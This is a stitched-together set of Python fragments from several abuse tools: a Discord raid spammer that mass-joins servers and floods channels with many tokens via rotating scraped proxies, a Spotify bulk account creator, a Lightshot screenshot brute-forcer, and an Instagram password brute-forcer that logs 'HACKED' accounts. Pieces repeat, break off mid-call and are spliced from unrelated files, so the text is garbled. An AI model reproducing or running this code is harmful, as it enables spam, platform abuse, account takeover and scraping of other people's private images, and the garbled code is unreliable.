def multi_threading(self):
self.start = time()
Thread(target=self.cpm_counter).start()
Thread(target=self.update_title).start()
if self.variables['unlimited']:
while True:
try:
Thread(target=self.creator,
args=(self.variables['proxies'][
self.variables['proxy_num']], )).start()
except:
continue
self.variables['proxy_num'] += 1
if self.variables['proxy_num'] >= len(
self.variables['proxies']):
self.variables['proxy_num'] = 0
else:
num = 0
while num < int(self.amount):
try:
Thread(target=self.creator,
args=(self.variables['proxies'][
self.variables['proxy_num']], )).start()
except:
continue
num += 1
self.variables['proxy_num'] += 1
if self.variables['proxy_num'] >= len(
self.variables['proxies']):
self.variables['proxy_num'] = 0
while self.variables['created'] != int(self.amount):
continue
print('\n%s> %sFinished%s.\n' % (reset(), green(), reset()))
def spam(self, token, message, channel, proxy):
headers = {'Authorization': token, 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36', 'Accept': '*/*',}
try:
send_message = session.post('https://discordapp.com/api/v6/channels/%s/messages' % (channel), json={'content': message}, headers=headers, proxies={'https': 'http://%s' % (proxy)}, timeout=4).text
if '"content":' in send_message:
self.variables['sent'] += 1
self.write('%s[%s%s%s] %sSent Message%s: %s' % (red(), reset(), strftime('%H:%M:%S', gmtime()), red(), green(), reset(), message))
elif 'You need to verify your account' in send_message:
self.write('%s[%s%s%s] Account not verified%s.' % (red(), reset(), strftime('%H:%M:%S', gmtime()), red(), reset()))
elif 'Unauthorized' in send_message:
self.write('%s[%s%s%s] Invalid token%s.' % (red(), reset(), strftime('%H:%M:%S', gmtime()), red(), reset()))
elif 'You are being rate limited.' in send_message:
pass
elif 'Missing Access' in send_message:
self.write('%s[%s%s%s] Missing permissions%s.' % (red(), reset(), strftime('%H:%M:%S', gmtime()), red(), reset()))
elif 'Access denied' in send_message:
self.variables['retries'] += 1
self.spam(token, message, channel, choice(self.variables['proxies']))
else:
self.write('%s[%s%s%s] Error %s| %s%s' % (red(), reset(), strftime('%H:%M:%S', gmtime()), red(), reset(), red(), send_message))
except:
self.variables['retries'] += 1
self.spam(token, message, channel, choice(self.variables['proxies']))
def spam_option(self):
print('%s> %sMessage to Spam%s: ' % (reset(), red(), reset()), end='')
message = str(input())
print('%s> %sChannel ID%s: ' % (reset(), red(), reset()), end='')
channel = str(input())
print()
if self.option.upper() in ['1', 'JOIN SERVER']:
tokens = self.variables['joined_tokens']
else:
tokens = self.variables['tokens']
Thread(target=self.spam_title).start()
while True:
try:
Thread(target=self.spam, args=(tokens[self.variables['num']], message, channel, self.variables['proxies'][self.variables['proxy_num']],)).start()
except IndexError:
self.variables['num'] = 0
else:
self.variables['num'] += 1
self.variables['proxy_num'] += 1
if self.variables['proxy_num'] >= len(self.variables['proxies']):
self.variables['proxy_num'] = 0
def error_import(self, create):
if create:
open('Tokens.txt', 'a').close()
print('%s> %sPaste your Discord tokens inside Tokens.txt%s!' %
(reset(), red(), reset()))
system('title [DISPAMMER] - Discord Spammer ^| Exiting . . .')
sleep(3)
_exit(0)
def error_import(self, create):
if create:
open('Proxies.txt', 'a').close()
print('%s> %sPaste your proxies inside Proxies.txt%s!' %
(reset(), red(), reset()))
system('title [Spotify Account Creator] - Exiting . . .')
sleep(3)
_exit(0)
def error_import(self, create):
if create:
open("Proxies.txt", "a").close()
print("%s> %sPaste your proxies inside Proxies.txt%s!" %
(reset(), red(), reset()))
system("title [Spotify Account Creator] - Exiting . . .")
sleep(3)
_exit(0)
def grab_proxies(self):
while True:
try:
all_proxies = session.get('https://api.proxyscrape.com/?request=getproxies&proxytype=http&timeout=1000&country=all&ssl=all&anonymity=all').text
except:
print('%s> %sPlease change your IP address%s.' % (reset(), red(), reset()))
system('title [DISPAMMER] - Discord Spammer ^| Exiting . . .')
sleep(3)
_exit(0)
else:
for proxy in all_proxies.splitlines():
self.variables['proxies'].append(proxy)
sleep(600)
self.variables['proxies'].clear()
def start(self):
if path.exists('Tokens.txt'):
with open('Tokens.txt', 'r', encoding='UTF-8', errors='replace') as f:
for line in f.read().splitlines():
if line != '':
self.variables['tokens'].append(line)
if len(self.variables['tokens']) == 0:
self.error_import(False)
else:
self.error_import(True)
print(' %s[%s1%s] Join Server\n [%s2%s] Spam Server\n\n%s> %sSelect an option%s: ' % (red(), reset(), red(), reset(), red(), reset(), red(), reset()), end='')
self.option = str(input())
if self.option.upper() in ['1', 'JOIN SERVER']:
print('%s> %sInvite Link%s: https://discord.gg/' % (reset(), red(), reset()), end='')
server = str(input())
Thread(target=self.join_title).start()
print()
while self.variables['num'] < len(self.variables['tokens']):
while True:
try:
Thread(target=self.join, args=(self.variables['tokens'][self.variables['num']], server, self.variables['proxies'][self.variables['proxy_num']],)).start()
except:
continue
else:
self.variables['num'] += 1
self.variables['proxy_num'] += 1
if self.variables['proxy_num'] >= len(self.variables['proxies']):
self.variables['proxy_num'] = 0
break
while self.variables['completed'] < len(self.variables['tokens']):
continue
self.variables['num'] = 0
self.variables['retries'] = 0
print('\n%s> %s%s%s Accounts Joined%s!' % (reset(), green(), self.variables['joined'], red(), reset()))
self.spam_option()
elif self.option.upper() in ['2', 'SPAM SERVER']:
self.spam_option()
else:
print('%s> %sInvalid option%s.' % (reset(), red(), reset()))
system('title [DISPAMMER] - Discord Spammer ^| Exiting . . .')
sleep(3)
_exit(0)
def render(self):
output = list()
output.append(self.bg)
output.append(self.fg)
output.append(self.get_text())
output.append(colors.reset() if self.bg or self.fg else "")
return "".join(output)
def main(proxy):
global valid
global invalid
global retries
code = ''.join(
random.choice(string.ascii_lowercase + string.digits)
for _ in range(6))
try:
check = requests.get('https://prnt.sc/%s' % (code),
headers=headers,
proxies={
'https': 'http://%s' % (proxy)
}).text
except:
retries += 1
os.system(
'title [Lightshot Brute Forcer] - Scrape Screenshots ^| Checked: %s ^| Valid: %s ^| Invalid: %s ^| Retries: %s ^| CPM: %s'
% (valid + invalid, valid, invalid, retries, cpm()))
else:
if 'name="twitter:image:src" content="' in check and not '0_173a7b_211be8ff' in check and not 'ml3U3Pt' in check:
lock.acquire()
sys.stdout.write('[%sVALID%s] https://prnt.sc/%s\n' %
(green(), reset(), code))
lock.release()
valid += 1
os.system(
'title [Lightshot Brute Forcer] - Scrape Screenshots ^| Checked: %s ^| Valid: %s ^| Invalid: %s ^| Retries: %s ^| CPM: %s'
% (valid + invalid, valid, invalid, retries, cpm()))
url = check.split('name="twitter:image:src" content="')[1].split(
'"/> <meta')[0]
save(url)
with open('Image Links.txt', 'a', encoding='UTF-8') as f:
f.write('https://prnt.sc/%s\n' % (code))
else:
lock.acquire()
sys.stdout.write('[%sINVALID%s] https://prnt.sc/%s\n' %
(red(), reset(), code))
lock.release()
invalid += 1
os.system(
'title [Lightshot Brute Forcer] - Scrape Screenshots ^| Checked: %s ^| Valid: %s ^| Invalid: %s ^| Retries: %s ^| CPM: %s'
% (valid + invalid, valid, invalid, retries, cpm()))
def multi_threading(self):
self.start = time()
Thread(target=self.cpm_counter).start()
Thread(target=self.update_title).start()
if self.variables["unlimited"]:
while True:
try:
Thread(
target=self.creator,
args=(self.variables["proxies"][
self.variables["proxy_num"]], ),
).start()
except:
continue
self.variables["proxy_num"] += 1
if self.variables["proxy_num"] >= len(
self.variables["proxies"]):
self.variables["proxy_num"] = 0
else:
num = 0
while num < int(self.amount):
try:
Thread(
target=self.creator,
args=(self.variables["proxies"][
self.variables["proxy_num"]], ),
).start()
except:
continue
num += 1
self.variables["proxy_num"] += 1
if self.variables["proxy_num"] >= len(
self.variables["proxies"]):
self.variables["proxy_num"] = 0
while self.variables["created"] != int(self.amount):
continue
print("\n%s> %sFinished%s." % (reset(), green(), reset()))
system("pause >NUL")
print("> Exiting . . .")
sleep(3)
_exit(0)
def decrypt(communText, encryptedText, dictioName):
try:
dictio = importDictios(dictioName)
except DictioNotFoundError as e:
clr.yellow()
lg.warning("Dictionnaries not found.\n{}".format(e))
clr.reset()
return True, None
hashCommunText = __hashText(communText)
tmpHashCommunText = hashCommunText
while len(tmpHashCommunText) < len(encryptedText):
tmpHashCommunText += hashCommunText
hashCommunText = tmpHashCommunText
j = 0
out = ""
for i in encryptedText:
out += ((dictio.get("alpha")).get("decrypt")).get(
((dictio.get("carac")).get("encrypt")).get(i) -
((dictio.get("alphaHash")).get("encrypt")).get(hashCommunText[j]))
j += 1
return False, out
async def masspurge(ctx):
global deleted
await ctx.message.delete()
async for message in ctx.message.channel.history(limit=500).filter(
lambda m: m.author == client.user).map(lambda m: m):
await message.delete()
deleted += 1
system('title [Discord Message Deleter] - Deleted Messages: %s' %
deleted)
print('%s[%s%s%s] Deleted Message%s: %s%s' %
(red(), white(), strftime('%H:%M:%S', gmtime()), red(), white(),
message.content, reset()))
def creator(self, proxy):
email = '%s@%s' % (''.join(
choice(ascii_lowercase + digits)
for _ in range(randint(7, 10))), choice(domains))
password = ''.join(
choice(ascii_letters + digits) for _ in range(randint(8, 14)))
birth_year = randint(1970, 2002)
birth_month = randint(1, 12)
birth_day = randint(1, 28)
gender = choice(['male', 'female'])
data = 'creation_point=lite_7e7cf598605d47caba394c628e2735a2&password_repeat=%s&platform=Android-ARM&iagree' \
'=true&password=%s&gender=%s&key=a2d4b979dc624757b4fb47de483f3505&birth_day=%s&birth_month=%s&email=%s' \
'&birth_year=%s' % (
password, password, gender, birth_day, birth_month, email, birth_year)
try:
create = post(
'https://spclient.wg.spotify.com/signup/public/v1/account',
data=data,
headers=headers,
proxies={'https': '%s://%s' % (self.proxy_type, proxy)},
timeout=5)
if create.json()['status'] == 1:
username = create.json()['username']
if username != '':
self.users.append(username)
self.passes.append(password)
self.write(
'%s[%sCREATED%s] %s:%s | Username: %s | Gender: %s | Date of Birth: %s/%s-%s'
%
(green(), reset(), green(), email, password, username,
gender.replace(gender[0], gender[0].upper()),
birth_day, birth_month, birth_year))
with open('Created [RAW].txt', 'a', encoding='UTF-8') as f:
f.write('%s:%s\n' % (email, password))
with open('Created [CAPTURE].txt', 'a',
encoding='UTF-8') as f:
f.write(
'%s:%s | Username: %s | Gender: %s | Date of Birth: %s/%s-%s\n'
% (email, password, username,
gender.replace(gender[0], gender[0].upper()),
birth_day, birth_month, birth_year))
self.variables['created'] += 1
else:
self.retry()
else:
self.retry()
except:
self.retry()
def __init__(self):
self.variables = {
'tokens': [],
'joined_tokens': [],
'proxies': [],
'num': 0,
'proxy_num': 0,
'completed': 0,
'sent': 0,
'joined': 0,
'retries': 0
}
print(
"""%s ___ _ ____ ___ ____ _ _ _ _ ____ ____
| \ | [__ |__] |__| |\/| |\/| |___ |__/
|__/ | ___] | | | | | | | |___ | \ \n\n %sFastest Discord Spammer.\n\n"""
% (red(), reset()))
Thread(target=self.grab_proxies).start()
def join(self, token, server, proxy):
headers = {'Authorization': token, 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36', 'Accept': '*/*',}
try:
join_server = session.post('https://discord.com/api/v6/invites/%s' % (server), headers=headers, proxies={'https': 'http://%s' % (proxy)}, timeout=4).text
if 'You need to verify your account' in join_server:
self.variables['completed'] += 1
self.write('%s[%s%s%s] Account not verified%s.' % (red(), reset(), strftime('%H:%M:%S', gmtime()), red(), reset()))
elif 'Unauthorized' in join_server:
self.variables['completed'] += 1
self.write('%s[%s%s%s] Invalid token%s.' % (red(), reset(), strftime('%H:%M:%S', gmtime()), red(), reset()))
elif 'banned from this guild' in join_server:
self.variables['completed'] += 1
self.write('%s[%s%s%s] User banned from this server%s.' % (red(), reset(), strftime('%H:%M:%S', gmtime()), red(), reset()))
elif 'Maximum number of guilds reached' in join_server:
self.variables['completed'] += 1
self.write('%s[%s%s%s] User already in 100 servers%s.' % (red(), reset(), strftime('%H:%M:%S', gmtime()), red(), reset()))
elif '"vanity_url_code"' in join_server:
self.write('%s[%s%s%s] %sSuccessfully Joined%s: %s' % (red(), reset(), strftime('%H:%M:%S', gmtime()), red(), green(), reset(), server))
self.variables['joined_tokens'].append(token)
self.variables['joined'] += 1
self.variables['completed'] += 1
elif 'Access denied' in join_server:
self.variables['retries'] += 1
self.join(token, server, choice(self.variables['proxies']))
else:
self.variables['completed'] += 1
self.write('%s[%s%s%s] Error %s| %s%s' % (red(), reset(), strftime('%H:%M:%S', gmtime()), red(), reset(), red(), join_server))
except:
self.variables['retries'] += 1
self.join(token, server, choice(self.variables['proxies']))
def debug(msg):
clr.green()
lg.debug(msg)
clr.reset()
def creator(self, proxy):
email = choice(self.get_email_from_list())
print(email)
password = "".join(
choice(ascii_letters + digits) for _ in range(randint(8, 14)))
birth_year = randint(1970, 2005)
birth_month = randint(1, 12)
birth_day = randint(1, 28)
gender = choice(["male", "female"])
data = (
"creation_point=lite_7e7cf598605d47caba394c628e2735a2&password_repeat=%s&platform=Android-ARM&iagree=true&password=%s&gender=%s&key=a2d4b979dc624757b4fb47de483f3505&birth_day=%s&birth_month=%s&email=%s&birth_year=%s"
% (password, password, gender, birth_day, birth_month, email,
birth_year))
try:
create = post(
"https://spclient.wg.spotify.com/signup/public/v1/account",
data=data,
headers=headers,
proxies={"https": "%s://%s" % (self.proxy_type, proxy)},
timeout=5,
)
if create.json()["status"] == 1:
username = create.json()["username"]
if username != "":
self.write(
"%s[%sCREATED%s] %s:%s | Username: %s | Gender: %s | Date of Birth: %s/%s-%s"
% (
green(),
reset(),
green(),
email,
password,
username,
gender.replace(gender[0], gender[0].upper()),
birth_day,
birth_month,
birth_year,
))
with open("Created [RAW].txt", "a", encoding="UTF-8") as f:
f.write("%s:%s\n" % (email, password))
with open("Created [CAPTURE].txt", "a",
encoding="UTF-8") as f:
f.write(
"%s:%s | Username: %s | Gender: %s | Date of Birth: %s/%s-%s\n"
% (
email,
password,
username,
gender.replace(gender[0], gender[0].upper()),
birth_day,
birth_month,
birth_year,
))
self.variables["created"] += 1
else:
self.retry()
else:
self.retry()
except:
self.retry()
def __init__(self):
self.variables = {
"proxies": [],
"proxy_num": 0,
"created": 0,
"retries": 0,
"cpm": 0,
"unlimited": False,
}
logo = """ ____ ___ ____ ___ _ ____ _ _
[__ |__] | | | | |___ \_/
___] | |__| | | | |
____ ____ _ _ ____ ____ ____ ___ ____ ____
| __ |___ |\ | |___ |__/ |__| | | | |__/
|__] |___ | \| |___ | \ | | | |__| | \ """
print("%s%s" % (green(), logo))
print(
"\n\n %s[%s1%s] HTTP\n [%s2%s] SOCKS4\n [%s3%s] SOCKS5\n\n%s> %sSelect a Proxy Type%s: "
% (
green(),
reset(),
green(),
reset(),
green(),
reset(),
green(),
reset(),
green(),
reset(),
),
end="",
)
self.proxy_type = str(input())
if self.proxy_type.upper() in ["1", "HTTP"]:
self.proxy_type = "http"
elif self.proxy_type.upper() in ["2", "SOCKS4"]:
self.proxy_type = "socks4"
elif self.proxy_type.upper() in ["3", "SOCKS5"]:
self.proxy_type = "socks5"
else:
print("\n%s> %sInvalid input%s." % (reset(), red(), reset()))
system("title [Spotify Account Creator] - Exiting . . .")
sleep(3)
_exit(0)
print(
"%s> %sAmount to create (empty for unlimited)%s: " %
(reset(), green(), reset()),
end="",
)
self.amount = str(input())
print()
if self.amount == "":
self.variables["unlimited"] = True
self.amount = 0
elif self.amount != "" and not self.amount.isdigit():
print("%s> %sInvalid input%s." % (reset(), red(), reset()))
system("title [Spotify Account Creator] - Exiting . . .")
sleep(3)
_exit(0)
def __init__(self):
self.variables = {
'proxies': [],
'proxy_num': 0,
'created': 0,
'retries': 0,
'cpm': 0,
'unlimited': False
}
logo = '''
______ __ __ ______ ______ __
/ \ | \ | \/ \ / \ | \
| ▓▓▓▓▓▓\ ______ ______ _| ▓▓_ \▓▓ ▓▓▓▓▓▓\__ __ | ▓▓▓▓▓▓\ ______ _______ ______ ______ ______ _| ▓▓_ ______ ______
| ▓▓___\▓▓/ \ / \| ▓▓ \ | \ ▓▓_ \▓▓ \ | \ | ▓▓ __\▓▓/ \| \ / \ / \ | \| ▓▓ \ / \ / \
\▓▓ \| ▓▓▓▓▓▓\ ▓▓▓▓▓▓\\▓▓▓▓▓▓ | ▓▓ ▓▓ \ | ▓▓ | ▓▓ | ▓▓| \ ▓▓▓▓▓▓\ ▓▓▓▓▓▓▓\ ▓▓▓▓▓▓\ ▓▓▓▓▓▓\ \▓▓▓▓▓▓\\▓▓▓▓▓▓ | ▓▓▓▓▓▓\ ▓▓▓▓▓▓\
_\▓▓▓▓▓▓\ ▓▓ | ▓▓ ▓▓ | ▓▓ | ▓▓ __| ▓▓ ▓▓▓▓ | ▓▓ | ▓▓ | ▓▓ \▓▓▓▓ ▓▓ ▓▓ ▓▓ | ▓▓ ▓▓ ▓▓ ▓▓ \▓▓/ ▓▓ | ▓▓ __| ▓▓ | ▓▓ ▓▓ \▓▓
| \__| ▓▓ ▓▓__/ ▓▓ ▓▓__/ ▓▓ | ▓▓| \ ▓▓ ▓▓ | ▓▓__/ ▓▓ | ▓▓__| ▓▓ ▓▓▓▓▓▓▓▓ ▓▓ | ▓▓ ▓▓▓▓▓▓▓▓ ▓▓ | ▓▓▓▓▓▓▓ | ▓▓| \ ▓▓__/ ▓▓ ▓▓
\▓▓ ▓▓ ▓▓ ▓▓\▓▓ ▓▓ \▓▓ ▓▓ ▓▓ ▓▓ \▓▓ ▓▓ \▓▓ ▓▓\▓▓ \ ▓▓ | ▓▓\▓▓ \ ▓▓ \▓▓ ▓▓ \▓▓ ▓▓\▓▓ ▓▓ ▓▓
\▓▓▓▓▓▓| ▓▓▓▓▓▓▓ \▓▓▓▓▓▓ \▓▓▓▓ \▓▓\▓▓ _\▓▓▓▓▓▓▓ \▓▓▓▓▓▓ \▓▓▓▓▓▓▓\▓▓ \▓▓ \▓▓▓▓▓▓▓\▓▓ \▓▓▓▓▓▓▓ \▓▓▓▓ \▓▓▓▓▓▓ \▓▓
| ▓▓ | \__| ▓▓
| ▓▓ \▓▓ ▓▓
\▓▓ \▓▓▓▓▓▓
'''
print('%s%s' % (green(), logo))
print(
'\n\n %s[%s1%s] HTTP\n [%s2%s] SOCKS4\n [%s3%s] SOCKS5\n\n%s> %sSelect a Proxy Type%s: '
% (green(), reset(), green(), reset(), green(), reset(), green(),
reset(), green(), reset()),
end='')
self.proxy_type = str(input())
if self.proxy_type.upper() in ['1', 'HTTP']:
self.proxy_type = 'http'
elif self.proxy_type.upper() in ['2', 'SOCKS4']:
self.proxy_type = 'socks4'
elif self.proxy_type.upper() in ['3', 'SOCKS5']:
self.proxy_type = 'socks5'
else:
print('\n%s> %sInvalid input%s.' % (reset(), red(), reset()))
system('title [Spotify Account Creator] - Exiting . . .')
sleep(3)
_exit(0)
print('%s> %sAmount to create (empty for unlimited)%s: ' %
(reset(), green(), reset()),
end='')
self.amount = str(input())
print()
if self.amount == '':
self.variables['unlimited'] = True
self.amount = 0
elif self.amount != '' and not self.amount.isdigit():
print('%s> %sInvalid input%s.' % (reset(), red(), reset()))
system('title [Spotify Account Creator] - Exiting . . .')
sleep(3)
_exit(0)
system(
'title [Instagram Brute Forcer] - '
'Checking: @%s (%s/%s) ^| Attempting Password: %s ^| Checked: %s%% ^| '
'Time Remaining: 00:00:00 ^| Hacked: %s' %
(account[0], index + 1, len(accounts), password,
round(((checked / len(cleaned)) * 100), 3), hacked))
api.getSelfUsernameInfo()
result = api.LastJson
user_id = result['user']['pk']
username = result['user']['username']
followers = result['user']['follower_count']
print('%s[%sHACKED%s] %s%s:%s %s| '
'%sUsername: %s %s| %sUser ID: %s %s| %sFollowers: %s' %
(green(), reset(), green(), reset(), account[0],
password, green(), reset(), username, green(), reset(),
user_id, green(), reset(), followers))
with open('Saved.txt', 'a', encoding='UTF-8',
errors='replace') as f:
f.write(
'Username: %s | Password: %s | Followers: %s | User ID: %s\n'
% (username, password, followers, user_id))
break
else:
checked += 1
time_remaining = strftime(
'%H:%M:%S',
gmtime(
(time() - start) / checked * (len(cleaned) - checked)))
system(
def info(msg):
clr.blue()
lg.info(msg)
clr.reset()
def __init__(self):
self.variables = {
'proxies': [],
'proxy_num': 0,
'created': 0,
'retries': 0,
'cpm': 0,
'unlimited': False
}
logo = '''
_____ _ _ __ _____ _
/ ____| | | (_)/ _| /\ / ____| | |
| (___ _ __ ___ | |_ _| |_ _ _ / \ ___ ___| | _ __ ___ __ _| |_ ___ _ __
\___ \| '_ \ / _ \| __| | _| | | | / /\ \ / __/ __| | | '__/ _ \/ _` | __/ _ \| '__|
____) | |_) | (_) | |_| | | | |_| |/ ____ \ (_| (__| |____| | | __/ (_| | || (_) | |
|_____/| .__/ \___/ \__|_|_| \__, /_/ \_\___\___|\_____|_| \___|\__,_|\__\___/|_|
| | __/ |
|_| |___/
Creator: FakeSmile
Contact: t.me/FakeSmileUX
'''
print('%s%s' % (green(), logo))
print(
'\n\n %s[%s1%s] HTTP\n [%s2%s] SOCKS4\n [%s3%s] SOCKS5\n\n%s> %sSelect a Proxy Type%s: '
% (green(), reset(), green(), reset(), green(), reset(), green(),
reset(), green(), reset()),
end='')
self.proxy_type = str(input())
if self.proxy_type.upper() in ['1', 'HTTP']:
self.proxy_type = 'http'
elif self.proxy_type.upper() in ['2', 'SOCKS4']:
self.proxy_type = 'socks4'
elif self.proxy_type.upper() in ['3', 'SOCKS5']:
self.proxy_type = 'socks5'
else:
print('\n%s> %sInvalid input%s.' % (reset(), red(), reset()))
system('title [Spotify Account Creator] - Exiting . . .')
sleep(3)
_exit(0)
print('%s> %sAmount to create (empty for unlimited)%s: ' %
(reset(), green(), reset()),
end='')
self.amount = str(input())
print()
if self.amount == '':
self.variables['unlimited'] = True
self.amount = 0
elif self.amount != '' and not self.amount.isdigit():
print('%s> %sInvalid input%s.' % (reset(), red(), reset()))
system('title [Spotify Account Creator] - Exiting . . .')
sleep(3)
_exit(0)
async def on_connect():
system('cls')
print('> %sLogged in as%s: %s%s\n' %
(green(), white(), client.user, reset()))
def critical(msg):
clr.crit()
lg.critical(msg)
clr.reset()
def warning(msg):
clr.yellow()
lg.warning(msg)
clr.reset()
def error(msg):
clr.red()
lg.error(msg)
clr.reset()